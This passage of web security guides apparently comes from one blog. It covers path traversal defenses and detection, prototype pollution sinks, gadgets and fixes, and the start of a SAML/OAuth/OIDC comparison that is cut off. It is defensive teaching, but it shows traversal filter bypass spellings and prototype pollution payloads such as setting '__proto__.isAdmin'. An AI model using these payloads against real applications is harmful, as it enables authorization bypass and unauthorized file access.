3. Confirm that the canonical path still begins with the canonical base directory.
4. If it does not, reject the request. Do not read the file.
This works because it operates on the destination the filesystem would actually reach, after all the attacker's encoding tricks have been resolved away. A traversal that escaped the base directory produces a canonical path outside it, and the prefix check catches it.
## The stronger pattern: never take a path from the user
Canonicalization plus containment is solid. Removing user-controlled paths altogether is better. Where the design allows it, do not let the user name a file at all. Instead, give each file an identifier and map that identifier to a real filename on the server:
- The user requests document `4821`.
- The server looks up `4821` in a table or a fixed mapping and finds the real path.
- The user never supplies a path component, so there is nothing to traverse.
This eliminates the class of bug rather than defending against it, and it composes well with access-control checks, since the lookup is a natural place to confirm the user is allowed that file.
Use an indirection map to keep user input out of the path, and keep the canonicalize-and-contain check as a backstop for any endpoint that genuinely must accept a filename. The map removes most of the surface, and the containment check protects the parts you cannot avoid. Together they mean a traversal payload has nowhere to land even if one layer is misconfigured.
## How to defend against path traversal
1. **Map identifiers to server-side filenames** wherever possible, so the user never supplies a path. This is the most complete fix.
2. **Canonicalize then contain.** For endpoints that must accept a name, resolve the full path to its canonical absolute form and verify it still lives under the allowed base directory before opening it.
3. **Allowlist acceptable input**, constraining filenames to a known-safe character set and, where sensible, to expected extensions, instead of blocklisting `../`. See our [input validation guide](/input-validation-guide) for building these checks.
4. **Run with least privilege**, so a process that is tricked still cannot read files outside what it legitimately needs. File permissions are a real second line of defense.
5. **Store uploads outside the web root** and serve them through code that applies the checks above, so a traversal in an upload path cannot place executable content where the server will run it.
## How bypasses actually look
The list of bypass families earlier is easier to internalize with the shapes attackers reach for. Each one exists because a filter inspects surface text while the filesystem acts on resolved meaning.
- **Percent-encoded separators.** A `../` can be written with its slash percent-encoded, so a filter scanning for the literal three characters never matches. The web layer decodes it later, restoring the real sequence just before the file is opened.
- **Double encoding.** The percent sign itself is encoded, so one decoding pass turns the input into a still-encoded sequence and a second pass turns that into the working `../`. A check that runs after only the first decode sees an innocent string.
- **Nested and overlapping sequences.** A payload like `....//` survives a single-pass strip of `../`, because removing the inner sequence leaves the outer characters that recombine into `../`. Any filter that replaces once rather than resolving fully falls to this.
- **Absolute path injection.** If the code appends user input to a base, but the input names an absolute path, the join can discard the base entirely on some platforms, so no traversal sequence is even needed.
- **Mixed separators and trailing tricks.** Different platforms accept different separators, and trailing dots or spaces on some filesystems change how a name resolves, so a filter tuned to one convention misses the others.
The common thread is that every one of these looks different on the surface and resolves to the same destination underneath. That is the entire argument for validating the resolved path rather than the raw string. A defense that works on canonical meaning is immune to how many spellings the attacker invents, because all of them collapse to one canonical answer before the containment check runs.
## Detection signals
Traversal attempts leave a recognizable trace in request logs and application telemetry. The concrete signals below are worth alerting on.
- **Traversal tokens in request parameters.** Literal `../` and `..\\` sequences, and their encoded forms, appearing in any parameter that later reaches a file operation. Encoded variants matter as much as the literal ones.
- **References to sensitive system paths.** Requests containing well-known targets such as system password files, application configuration files, or key material, especially aimed at file-serving endpoints.
- **File-read errors and anomalous status codes.** A burst of not-found or permission-denied responses from a download or file endpoint can indicate an attacker probing for a path that resolves outside the base.
- **Access to files the endpoint never legitimately serves.** Telemetry that records which real files an endpoint opened, flagging any open outside the intended base directory, catches a successful traversal directly at the filesystem layer.
- **Repeated depth escalation.** Many requests differing only in the count of parent-directory sequences, climbing from one level to many, is the signature of an attacker feeling for the filesystem root.
The strongest detection watches the resolved file access rather than the request text, for the same reason the strongest defense does: the request text can be disguised, and the file the process actually opened cannot.
## How path traversal compares to related bugs
Traversal is one of several ways user input reaches a resource it should not. Placing it beside its neighbors sharpens what is distinct about it.
| Technique | What the attacker controls | Typical result | Core fix |
|---|---|---|---|
| Path traversal | A filename or path that escapes an intended directory | Reading or writing files outside the box | Canonicalize then confirm containment under a base |
| Local file inclusion | A path that the server then includes and executes | Code execution from a reachable file | Never include a path derived from input |
| Server-side request forgery | A URL the server fetches on the attacker's behalf | Access to internal network resources | Allowlist destinations, resolve and validate the target |
| Command injection | A string interpolated into a shell command | Arbitrary command execution | Avoid the shell, pass arguments as data |
Local file inclusion is the closest neighbor and the reason traversal severity varies so widely by context. In a plain download endpoint, a successful traversal discloses files. In a stack that includes or executes the file it resolves, the same traversal reaches code execution, which is why traversal in an inclusion context sits close to command injection on the severity scale. Server-side request forgery rhymes with traversal at a higher layer: both take a locator from the user and reach a resource the user should not be able to name, and both are fixed by resolving the real destination and confirming it stays inside an allowed set.
## Common mistakes
**Stripping the bad sequence instead of resolving the path.** A single-pass removal of `../` loses to nested sequences and encodings. Removal treats the symptom in the surface text while the filesystem acts on the resolved meaning.
**Validating too early in the pipeline.** A check that runs before the final decode and open inspects a string the last stage will not act on. The only authoritative view of the path is the one immediately before the file is opened.
**Trusting the base-directory join.** Appending input to a fixed base feels safe, and it fails when the input is an absolute path or contains enough parent sequences to climb out. The join is a starting point for the containment check, never the check itself.
**Forgetting the write side.** Upload and file-write flows can place content outside the intended directory through the same traversal mechanics. A defense that covers reads while leaving writes unchecked leaves the higher-impact path open.
**Relying on file permissions alone.** Least privilege is a valuable second line, and it does not stop a traversal from reading anything the process account can already reach, which on a typical server is a great deal. Permissions limit blast radius rather than preventing the bug.
## How it evolved
Path traversal is one of the oldest classes of web vulnerability, dating to the earliest days of serving files by name over a network. The basic technique, feeding parent-directory sequences to climb out of an intended folder, has changed very little, because it exploits a legitimate and unchanging filesystem feature. What has evolved is the arms race around filtering. Early defenses tried to strip the offending sequence, attackers answered with encodings and nesting, and defenders eventually converged on the durable answer of resolving the path to its canonical form and checking containment.
Framework maturity shifted the picture as well. Modern web frameworks and file APIs increasingly offer safe path-joining helpers and canonicalization routines that make the correct pattern easier to reach. The bug persists anyway, because file handling is spread across so many features, downloads, template loading, image serving, log viewers, uploads, that a single overlooked endpoint reintroduces the whole class. The defense has been known for a long time. The challenge is applying it uniformly across every place a filename crosses from the user into a filesystem call.
## Frequently asked questions
**Is path traversal the same as local file inclusion?**
They overlap. Path traversal is the act of escaping an intended directory to reach another file. Local file inclusion is what happens when the server then includes and executes the file that a traversal reached. Traversal is the mechanism, and inclusion is the more dangerous outcome in stacks that run the resolved file.
**Why does stripping the parent-directory sequence fail?**
Because the attacker has many spellings of the same sequence. Encoded and double-encoded forms, nested patterns that recombine after one removal, and platform-specific separators all bypass a surface strip. The filesystem acts on the resolved path, so a defense has to act there too.
**What does canonicalization actually do?**
It reduces a path to its one true absolute form by decoding it, resolving every current-directory and parent-directory element, and following symbolic links. Once a path is canonical there is nothing left to reinterpret, so a prefix check against the allowed base directory becomes reliable.
**Do random or opaque filenames prevent traversal?**
No. Traversal does not depend on guessing a name, it depends on the application passing a user-influenced path to the filesystem. The fix is to resolve and contain the path, or to remove user-controlled paths entirely by mapping an identifier to a fixed server-side filename.
**Where should the containment check run?**
Immediately before the file is opened, after every decoding and normalization step the input passes through. A check placed earlier inspects a value that later stages will change, so it can be bypassed by a sequence that only appears after a later decode.
**How is traversal different from an authorization bug like IDOR?**
Traversal escapes an intended directory on the filesystem, while an insecure direct object reference fetches an object the user is not entitled to through a missing authorization check. They can appear together when a file endpoint both accepts a path and omits an access check, and each has its own root cause and fix.
**Can traversal lead to writing files, not just reading them?**
Yes. Upload and file-save flows that build a destination path from user input can be steered to place a file outside the intended directory. Writing to a location the server later executes, or overwriting a configuration or startup file, turns a write-side traversal into a path to code execution or persistent compromise. Cover write paths with the same canonicalize-and-contain check you apply to reads, and store uploads outside the web root so a stray file cannot land where the server will run it.
**Does running the app as a low-privilege user fix traversal?**
It limits the damage without removing the bug. A least-privileged process still reads everything its own account can reach, which on a typical server includes application source, configuration, and session data. Treat least privilege as a valuable second line that shrinks blast radius, and keep the resolved-path containment check as the control that actually stops the escape. The two work best together, since one narrows what a successful traversal can reach and the other prevents the traversal from resolving outside the box in the first place.
The delivery side of traversal often involves crafted filenames and file formats, and understanding how file names and formats carry payloads helps you spot the risky endpoints. Our exploit and file-format intelligence lives at the file-formats reference on data.pwnsy.com, which maps how different formats and naming tricks are used in real delivery.
Path traversal endures because file handling is everywhere and the `..` sequence is a legitimate filesystem feature that applications forget to account for. The defense is not to chase every spelling of the escape. It is to decide the real destination the filesystem will reach, confirm it stays inside the box you meant, and, better yet, stop handing the filesystem raw user paths in the first place.
## Related guides
- [Command Injection Explained](/command-injection-explained)
- [SSRF Explained](/ssrf-explained)
- [Input Validation Guide](/input-validation-guide)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
- [Attacker File Formats Explained](/attacker-file-formats-explained)
### Sources
- OWASP: Path Traversal (OWASP): https://owasp.org/www-community/attacks/Path_Traversal
- PortSwigger Web Security Academy: Directory Traversal (PortSwigger): https://portswigger.net/web-security/file-path-traversal
- OWASP File Upload / Path Handling Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
---
## Prototype Pollution Explained: Poisoning JavaScript Objects
> How prototype pollution works in JavaScript: injecting into __proto__, gadget-driven escalation to DoS, bypasses and RCE, and how to shut it down.
- URL: https://blog.pwnsy.com/prototype-pollution-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: advanced
- Category: web-security
- Tags: prototype-pollution, web-security, javascript, nodejs, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Prototype pollution injects properties into a JavaScript object's shared prototype, so a value the attacker sets appears on objects all across the application.
- The injection point is any code that merges attacker-controlled keys into an object without blocking __proto__, constructor, and prototype.
- Pollution alone is rarely the whole exploit; it becomes serious when an existing code path, a gadget, later reads the polluted property and acts on it.
- Depending on the gadget, impact ranges from denial of service and logic bypass to, in the worst cases, remote code execution on a Node.js server.
### Key Takeaways
- Almost every JavaScript object shares Object.prototype, so a single polluted property can change behaviour everywhere at once.
- Vulnerable sinks are recursive merges, deep clones, and object-path setters that copy attacker-controlled keys without filtering dangerous ones.
- The dangerous keys to block are __proto__, constructor, and prototype; rejecting them at the sink stops the injection.
- Escalation is gadget-driven: server-side gadgets can reach command execution, client-side gadgets can reach DOM XSS, and shared gadgets can break access-control checks.
- Object.create(null), Map for untrusted key-value data, Object.freeze on prototypes, and schema validation remove both the sink and the gadgets.
JavaScript objects inherit from a shared prototype. When you read a property that an object does not have of its own, the language walks up the prototype chain to find it. That inheritance is convenient and, from a security point of view, dangerous: if an attacker can write to a shared prototype, they change the default behaviour of objects they never touched. That is prototype pollution.
It is one of the more conceptually slippery web bugs because the injection and the damage usually happen in different places. An attacker pollutes a prototype in one part of the code, and something entirely unrelated misbehaves later because it inherited the poisoned property.
## The inheritance that makes it work
In JavaScript, plain objects inherit from `Object.prototype`. Read a property that is not defined directly on an object, and the engine looks it up the chain, ending at `Object.prototype`. Anything defined there is visible, as a fallback, on nearly every object in the program.
The special property `__proto__` is an accessor that points at an object's prototype. Assigning through it reaches the prototype rather than the object itself. So code that sets a key named `__proto__` on an object, using attacker-controlled input, can end up writing onto `Object.prototype`, where the new property becomes a default seen everywhere.
```
target["__proto__"]["isAdmin"] = true
```
After that line runs, an ordinary object that never had an `isAdmin` property may now report `true` when asked, because it inherits the polluted default. That is the entire trick, and its reach is what makes it dangerous.
## Where the injection lives
Prototype pollution needs a sink: code that copies attacker-controlled property names into an object without filtering the dangerous ones. The usual sinks are all forms of "merge this untrusted structure into that object."
- **Recursive merge and deep-extend functions** that walk a source object and copy every key into a target.
- **Deep clone routines** that reconstruct an object key by key.
- **Object-path setters** that take a string like `a.b.c` and build the nested path, where the attacker supplies `__proto__.polluted`.
- **Query-string, JSON, and form parsers** that turn nested input such as `?__proto__[isAdmin]=true` into an object graph and then merge it.
The common thread is untrusted keys reaching an assignment. If the attacker controls a property *name*, not just a value, and that name is written without a check, the sink is vulnerable.
## Pollution is only step one
Setting a property on a prototype is not, by itself, an exploit. It matters because of what happens next: some existing code path reads the polluted property and does something with it. That code path is the gadget. The severity of the whole thing is decided by which gadget is reachable.
| Gadget location | What the gadget does | Typical impact |
|---|---|---|
| Access-control check | Reads an inherited flag like isAdmin or role | Privilege escalation, authorization bypass |
| Configuration lookup | Reads options with an inherited default | Logic change, denial of service |
| HTML templating or DOM sink | Renders an inherited value into the page | Client-side XSS |
| Child-process or require options | Passes inherited options into command execution | Remote code execution on the server |
The escalation from a client-side gadget to script execution is a form of cross-site scripting, and the reverse also holds: a DOM XSS defense that ignores prototype pollution can be walked around. See [XSS Attacks Explained](/xss-attacks-explained). The server-side path, where a polluted option flows into process spawning, is how prototype pollution turns into command execution. That mechanism is the subject of [Command Injection Explained](/command-injection-explained), and the deserialization-style trust failure behind it is covered in [Insecure Deserialization Explained](/insecure-deserialization-explained).
The hardest part of prototype pollution is that the sink and the gadget are usually in different files, often in different libraries. You pollute a prototype through a vulnerable merge in your own code, and the exploit fires inside a dependency that reads an inherited option minutes later. This is why grepping only for obvious injection points misses it. You have to reason about which properties, once defaulted globally, would change behaviour somewhere in the whole dependency tree.
## Why input filtering alone is fragile
The instinct is to block the string `__proto__` in input. It helps, but it is incomplete. Pollution can also be reached through the `constructor` and `prototype` keys, for example `constructor.prototype.polluted`, which lands on the same shared prototype by a different route. A filter that blocks only the literal `__proto__` misses this. Encoding and nested-structure tricks give attackers further variations.
Blocklisting specific key strings is the same losing game as blocklisting bad URLs in SSRF or bad characters in injection: the attacker needs one route the list forgot. The durable fixes change the data structures and freeze the prototype so there is nothing to pollute, rather than trying to enumerate every dangerous key.
## How to defend against prototype pollution
Attack the sink and remove the gadgets. Doing both means a missed injection point still has nothing to exploit.
1. **Reject dangerous keys at every merge and setter.** In any code that copies untrusted keys into an object, explicitly skip `__proto__`, `constructor`, and `prototype`. Do this at the sink, not just at the edge, so intermediate parsers cannot smuggle them in.
2. **Use null-prototype objects for untrusted data.** Create containers with `Object.create(null)`, which have no prototype chain, so writing `__proto__` sets an ordinary property that pollutes nothing.
3. **Prefer `Map` over plain objects for key-value stores.** A `Map` keyed by untrusted strings has no prototype semantics, which removes the sink for lookup tables and caches entirely.
4. **Freeze the prototype.** `Object.freeze(Object.prototype)` prevents new properties from being written to it at all, closing the injection globally, though it should be tested for compatibility with your dependencies.
5. **Validate against a schema.** Enforce an explicit schema on incoming JSON and form data so only known, typed properties are accepted, and unexpected keys like `__proto__` are dropped before any merge.
6. **Keep dependencies current and audit merge utilities.** Many pollution findings live in third-party deep-merge, clone, and object-path libraries. Track advisories and update, since maintainers have hardened many of these functions.
7. **Enable the runtime protections you have.** Modern JavaScript runtimes offer flags and options that harden prototype handling; use them as a backstop, not a primary control.
The strongest prototype-pollution defenses are structural. A null-prototype object or a Map has no shared prototype to poison, so the attacker's crafted key becomes an inert ordinary property. Freezing Object.prototype does the same globally. Reach for these first, and treat key-name filtering as a secondary layer, because filters can be bypassed but a frozen or absent prototype cannot be polluted.
## The three routes to the shared prototype
Filtering the string `__proto__` feels like a fix until you see the other ways in. Three property names reach the same shared prototype, and a defense that blocks one and forgets the others is not a defense.
The first route is `__proto__` directly. It is an accessor on objects that points at the prototype, so writing through a key named `__proto__` reaches `Object.prototype`. This is the route most people know and the one most filters catch.
The second route is `constructor.prototype`. Every object has a `constructor` property inherited from its prototype, and that constructor function has a `prototype` property that points back at the same shared prototype. So a path like `constructor.prototype.polluted` lands on the identical target by walking through the constructor rather than through `__proto__`. A filter that only rejects `__proto__` leaves this route wide open.
The third route is any parser or setter that builds these paths for the attacker. An object-path setter given the string `constructor.prototype.polluted`, or a query parser that expands `constructor[prototype][polluted]`, constructs the dangerous path from flat input the attacker fully controls. The attacker never has to type the payload as a nested object; the parser assembles it.
The lesson is that the target is a shared, writable prototype, and the property name is only one of several handles onto it. This is why the durable defenses attack the target itself, by removing the prototype (null-prototype objects, Maps) or freezing it, rather than trying to enumerate every name and encoding that could reach it.
## A worked example: from a merge to an inherited flag
Walk one concrete path from injection to effect, without any library-specific magic. Picture an API endpoint that accepts a JSON body describing user preferences and merges it into a stored settings object with a recursive deep-merge helper. The helper walks the incoming object and, for every key, copies the value into the target, recursing into nested objects.
The attacker sends a body whose top-level key is `__proto__`, and under it a nested object with a key such as `isAdmin` set to `true`. The merge helper reaches the `__proto__` key, treats it as an ordinary nested object to recurse into, and follows it. Because `__proto__` is an accessor that points at `Object.prototype`, recursing into it and assigning `isAdmin` writes that property onto the shared prototype rather than onto the settings object.
Nothing visible breaks at this point. The response looks normal. The damage waits for a gadget. Elsewhere in the same process, an authorization check reads `user.isAdmin` on a freshly constructed user object that was never given an `isAdmin` property of its own. Before the pollution, that read returned `undefined`, which the code treats as not-admin. After the pollution, the read walks the prototype chain, finds the inherited `true`, and the check passes. A request that should have been denied is now allowed, and the two events, the merge and the check, are in different files with no direct call between them.
The same shape produces other outcomes depending on the gadget. Pollute a property that a configuration lookup reads, and you flip a default across the whole process. Pollute a property that a templating layer renders, and you can reach the client. Pollute an option that flows into process spawning, and you reach command execution. The injection is identical; the ceiling is set by which gadget is downstream.
## Detection signals: finding pollution in code and at runtime
Prototype pollution is quiet by design, so detection combines code review, dynamic probing, and runtime signals.
- **Sink discovery in code.** Search for recursive merge, deep-extend, deep-clone, and object-path setter functions, whether hand-written or pulled from dependencies. Any function that copies keys from untrusted input into an object is a candidate sink. Confirm whether it filters `__proto__`, `constructor`, and `prototype`.
- **Nested key parsing.** Look for parsers that expand bracketed or dotted query strings and form bodies into nested objects, such as input of the form `a[b][c]=1`. These turn a flat request into an object graph and are a common way an attacker-controlled `__proto__` key is introduced before a merge.
- **A safe runtime probe.** In a test environment, send a request that would set a harmless, uniquely named property on the prototype, then read that property on a plain object elsewhere. If the plain object reports the value you injected, pollution reached a shared prototype. Use a property name that no code depends on so the probe changes nothing real.
- **Unexpected inherited properties.** At runtime, an object that reports a property it was never assigned is the direct fingerprint. A defensive check that compares an own-property test against a plain property read can surface the discrepancy.
- **Anomalous behaviour after specific inputs.** Logic that changes for all users right after a particular request, options that revert to unexpected defaults, or authorization decisions that flip without a code change are behavioural hints that a global default was altered.
The cleanest runtime test asks whether a property lives on the object itself or was inherited. A direct read walks the prototype chain and cannot tell the difference. An own-property check answers only for the object in hand. When code that should see nothing suddenly sees a value, and an own-property check on the same object returns nothing, the value is coming from a polluted prototype. Building that distinction into sensitive checks both detects pollution and blunts many gadgets.
## Prototype pollution among related bug classes
Pollution sits in a family of trust-in-structure bugs. Seeing the neighbours sharpens what is specific to it.
| Bug class | What the attacker controls | Where it lands | Typical ceiling |
|---|---|---|---|
| Prototype pollution | A property name in merged input | A shared prototype, changing defaults everywhere | Auth bypass, DoS, client XSS, or RCE via a gadget |
| Insecure deserialization | The serialized object graph | Reconstructed objects and their callbacks | RCE through crafted object state |
| Mass assignment | Field names bound to a model | Object fields the developer did not intend | Privilege or state changes on that object |
| SQL or command injection | Data interpreted as syntax | A query or command string | Data theft or code execution |
The distinguishing trait of prototype pollution is reach. Mass assignment changes fields on one object. Prototype pollution changes a default that nearly every object in the process inherits, so a single injected key has process-wide scope, and the gadget that reads it can be anywhere in your code or your dependencies. That combination of global reach and action-at-a-distance is what makes it hard to trace and worth defending structurally.
## Common mistakes
**Filtering only the literal `__proto__` string.** The `constructor.prototype` route reaches the same shared prototype without the word `__proto__` appearing. A block that checks for one spelling misses the others, and encoding or nesting adds more variants.
**Filtering at the edge but not at the sink.** A check on the outermost request body does not protect an inner merge that an intermediate parser feeds. Reject the dangerous keys at the assignment itself, where the write happens, so nothing can smuggle them past an earlier layer.
**Assuming client-side pollution is low severity.** A polluted property that a DOM sink or template reads becomes cross-site scripting. Client-side gadgets can also undermine a page's own XSS defenses. It is not merely a server problem.
**Trusting a dependency to be safe forever.** Many pollution findings live in third-party merge, clone, and object-path utilities. A version that was safe can regress, and a transitive dependency you did not choose can reintroduce a sink. Track advisories and pin with care.
**Freezing the prototype without testing.** `Object.freeze(Object.prototype)` is a strong global control, and some libraries write to the prototype legitimately. Apply it, then test the full application and dependency tree, so a defense does not become an outage.
## How it evolved
Prototype pollution moved from a curiosity to a recognised class as JavaScript spread to the server through Node.js and as deep-merge and object-path utilities became ubiquitous in the ecosystem. Early findings clustered in popular merge and clone libraries, where a single vulnerable function was reused across thousands of projects, so one fix or one miss propagated widely.
Understanding then shifted from the injection to the gadget. Researchers catalogued the code paths that read inherited properties and turned pollution into concrete impact, including server-side chains that reach command execution and client-side chains that reach script execution. That gadget-centric view is why modern advice pairs sink hardening with structural defenses: even a perfectly filtered merge is safer when the data lives in a structure that has no shared prototype to poison. The framing now maps cleanly onto the integrity-failure category in the OWASP Top 10, where untrusted data is allowed to change program behaviour in ways the developer never modelled.
## Frequently asked questions
**Is prototype pollution only a Node.js problem?**
No. It affects JavaScript wherever objects share a prototype, which includes browser code. Server-side gadgets tend to have the highest ceiling because they can reach process spawning, and client-side gadgets reach DOM XSS. Both matter.
**If pollution happens but no gadget reads the property, is there impact?**
Often none directly, which is exactly why it is deceptive. The injected default sits inert until some code path reads it. Because you cannot easily prove no gadget exists across your whole dependency tree, treat any confirmed pollution as exploitable and fix the sink.
**Does a null-prototype object fully prevent pollution?**
It removes the sink for data held in that object, because there is no prototype chain to walk, so a `__proto__` key becomes an ordinary property that poisons nothing. It protects that container. It does not retroactively fix other merges elsewhere, so use it everywhere untrusted key-value data is stored.
**Why prefer a Map for untrusted key-value data?**
A `Map` keyed by strings has no prototype semantics for its entries, so lookups cannot be redirected through a polluted prototype. For caches, lookup tables, and anything keyed by attacker-influenced strings, a Map removes a whole category of risk that plain objects carry.
**Can input validation alone stop it?**
Schema validation that accepts only known, typed properties and drops everything else is a strong layer, because keys like `__proto__` are simply not in the schema. Pair it with sink hardening and structural defenses, since a single missed path is enough when the control is a blocklist.
**Does freezing Object.prototype break my app?**
It can, if a dependency writes to the prototype legitimately. It is a powerful global backstop when it is compatible. Apply it in a test environment first and exercise the full application before relying on it in production.
**How is this different from mass assignment?**
Mass assignment writes fields onto one specific object the developer did not mean to expose. Prototype pollution writes onto a shared prototype, so the effect is a default inherited by nearly every object in the process. The scope and the action-at-a-distance are what set it apart.
**Where should I put the dangerous-key check?**
At the point of assignment inside the merge or setter, and applied to the property name before it is written. A check placed only on the outer request body can be bypassed by an intermediate parser that constructs the object graph after the check runs. Guard the write itself.
**Can I detect pollution attempts in logs?**
Requests containing `__proto__`, `constructor`, or `prototype` in body or query keys are worth logging and alerting on, since legitimate clients rarely send them as structural keys. Treat such requests as probes and confirm your sinks reject them, rather than relying on the log alone to stop the attack.
Prototype pollution is a reminder that shared mutable defaults are a security liability. One writable prototype turns a single injected key into behaviour that ripples across every object and every dependency in the process, and the payoff for the attacker scales with whatever gadget happens to read that key. Block the dangerous keys at your merges, hold untrusted data in structures that have no prototype to poison, freeze what you can, and validate inputs against a schema. For how this class fits the wider integrity-failure landscape, see the [OWASP Top 10](/owasp-top-10-explained), and see the payload side of the story on our attacker file-formats reference.
## Related guides
- [Insecure Deserialization Explained](/insecure-deserialization-explained)
- [Command Injection Explained](/command-injection-explained)
- [Secure Coding Practices](/secure-coding-practices)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
### Sources
- PortSwigger Web Security Academy: Prototype Pollution (PortSwigger): https://portswigger.net/web-security/prototype-pollution
- OWASP: Prototype Pollution Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html
- OWASP Top 10: A08 Software and Data Integrity Failures (OWASP): https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/
---
## SAML vs OAuth vs OIDC: Three Identity Protocols Explained
> How SAML, OAuth 2.0, and OpenID Connect differ, what each one actually does, and which to reach for when you build SSO or authorize an API.
- URL: https://blog.pwnsy.com/saml-vs-oauth-vs-oidc
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: saml, oauth, oidc, sso, identity
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- SAML, OAuth 2.0, and OpenID Connect solve overlapping problems, which is why they get confused, but each answers a different question about identity.
- SAML is an XML-based single sign-on standard built for enterprise web apps. OAuth 2.0 is a delegated authorization framework. OIDC is a thin authentication layer on top of OAuth 2.0.
- OAuth 2.0 on its own proves what an app is allowed to do, not who the user is. Using an access token as proof of login is a classic and dangerous mistake.
- For new work, OIDC covers most login needs, OAuth 2.0 covers API authorization, and SAML remains the pragmatic choice when you integrate with legacy enterprise identity providers.
### Key Takeaways
- SAML carries assertions in signed XML over browser redirects and back-channel bindings, and it dates from the mid-2000s enterprise web.
- OAuth 2.0 defines roles (resource owner, client, authorization server, resource server) and grant flows, but it deliberately says nothing about authentication.
- OIDC adds an ID token, a signed JWT that states who the user is, plus a standard UserInfo endpoint and discovery document.
- Access tokens are for calling APIs, ID tokens are for learning who logged in. Never swap their jobs.
- Protocol choice usually follows the identity provider you must federate with, not a greenfield preference.
Three acronyms turn up in almost every conversation about single sign-on, and they are constantly used as if they were interchangeable. They are not. SAML, OAuth 2.0, and OpenID Connect were designed at different times, by different communities, to answer different questions. Once you can say which question each one answers, the choice of what to build with stops being guesswork.
Here is the shortest honest summary. SAML does enterprise single sign-on with signed XML. OAuth 2.0 hands one app limited permission to act on your behalf against another app's API. OpenID Connect uses OAuth 2.0 machinery to also tell an app who you are. The rest of this guide unpacks each, then shows where they overlap and how to pick.
## Authentication versus authorization
Every one of these protocols lives on one side or the other of a single distinction, so it is worth nailing down first.
**Authentication** answers "who is this user". It is the login moment: proving that the person at the keyboard is the account holder.
**Authorization** answers "what is this user, or this app, allowed to do". It is about permission and scope, and it happens after identity is established or delegated.
SAML and OIDC are primarily about authentication and federated login. OAuth 2.0 is purely about authorization. The most common security failure in this space comes from treating OAuth 2.0 as if it also did authentication, which it was never designed to do.
The confusion has a real cause. All three protocols hand tokens around over browser redirects, all three involve a central provider and a relying application, and in a login-with-a-social-account flow the same click can trigger both an authorization grant and an identity assertion. From the outside the flows look nearly identical. The difference lives in what the token means and what the application is entitled to conclude from holding it. Keep asking one question, "does this token tell me who the user is, or only what an app may do," and the three protocols stop blurring together.
## SAML
Security Assertion Markup Language is the elder of the three, standardised by OASIS and widely deployed since the mid-2000s. It was built for the enterprise web: an employee logs in once to a central identity provider, then reaches many separate applications without logging in again.
The core object is the **assertion**, an XML document, signed by the identity provider (IdP), that states facts about the user: their identifier, when they authenticated, and attributes such as group membership. The application receiving it is the **service provider** (SP).
A typical browser flow runs like this. The user hits the service provider, which has no session, so it builds an authentication request and redirects the browser to the identity provider. The identity provider authenticates the user, then returns a signed assertion back to the service provider, usually posted through the browser. The service provider validates the signature and creates a local session.
SAML's strengths are its maturity, its rich attribute model, and near-universal support in corporate identity products. Its weaknesses are the XML tooling, the complexity of XML signature validation (a historically fertile source of bugs), and a poor fit for mobile apps and single-page frontends.
SAML also comes in two initiation styles worth knowing. In **SP-initiated** flow the user starts at the application, which bounces them to the identity provider, the pattern described above and the safer default. In **IdP-initiated** flow the identity provider sends an unsolicited assertion straight to the application, for example from a corporate app portal. IdP-initiated flow is convenient but harder to secure, because the application receives an assertion it never asked for, which removes a natural check against replay. Prefer SP-initiated where you can.
## OAuth 2.0
OAuth 2.0, defined in RFC 6749, is a **delegated authorization** framework. Its problem statement is different from SAML's. You want a third-party app to access some of your data in another service, for example letting a scheduling tool read your calendar, without handing that app your password.
OAuth 2.0 defines four roles:
| Role | What it is |
|---|---|
| Resource owner | The user who owns the data |
| Client | The app that wants access |
| Authorization server | Issues tokens after the user consents |
| Resource server | The API holding the data, which accepts tokens |
The output is an **access token**, a string the client presents to the resource server to make API calls within a granted **scope**. The user approves that scope during the flow, and the client never sees the user's password.
The critical thing to internalise is what an access token is not. It is not proof of who the user is. It is a bearer credential that says "the holder of this string may do these things until it expires". OAuth 2.0 says nothing about authentication, session length, or user identity. Apps that decode an access token and treat its contents as a verified login are building on sand.
OAuth 2.0 also defines several grant types for different client situations, and choosing the right one is part of using the framework safely. The authorization code grant, paired with PKCE, is the modern default for web, mobile, and single-page clients, because the sensitive code-for-token exchange happens away from the browser with a proof only the real client holds. The client credentials grant covers machine-to-machine access where no user is present, so the application authenticates as itself. The older implicit and resource-owner password grants are discouraged now, the first because it exposed tokens in the browser and the second because it asks the user to hand their password to the client, which is the exact practice OAuth set out to avoid. Matching the grant to the client keeps tokens out of places they can leak.
An OAuth 2.0 access token proves authorization, not identity. Do not use it to log a user in, do not trust its contents as who the user is, and do not treat receiving one as proof that authentication happened. That gap is exactly what OpenID Connect exists to fill.
## OpenID Connect
OpenID Connect (OIDC) is a thin identity layer built directly on top of OAuth 2.0. It reuses the same flows and endpoints, then adds the piece OAuth 2.0 left out: a standard, verifiable statement of who the user is.
That statement is the **ID token**, a JSON Web Token (a signed JWT) issued by the OpenID provider. It contains claims such as the subject identifier (`sub`), the issuer (`iss`), the audience (`aud`), and issue and expiry times. Because it is signed, the client can verify it came from the trusted provider and was meant for this client. For deeper mechanics of the token format, see [What Is a JWT](/what-is-a-jwt).
OIDC also standardises supporting pieces that OAuth 2.0 left to each vendor: a **UserInfo endpoint** for fetching profile claims, a **discovery document** at a well-known URL that publishes the provider's endpoints and keys, and defined scopes like `openid`, `profile`, and `email`.
So the division of labour is clean. In an OIDC flow you receive two tokens. The ID token tells your app who logged in. The access token lets your app call APIs on the user's behalf. Keep their jobs separate and most identity bugs never appear.
## A worked example: logging in with OIDC
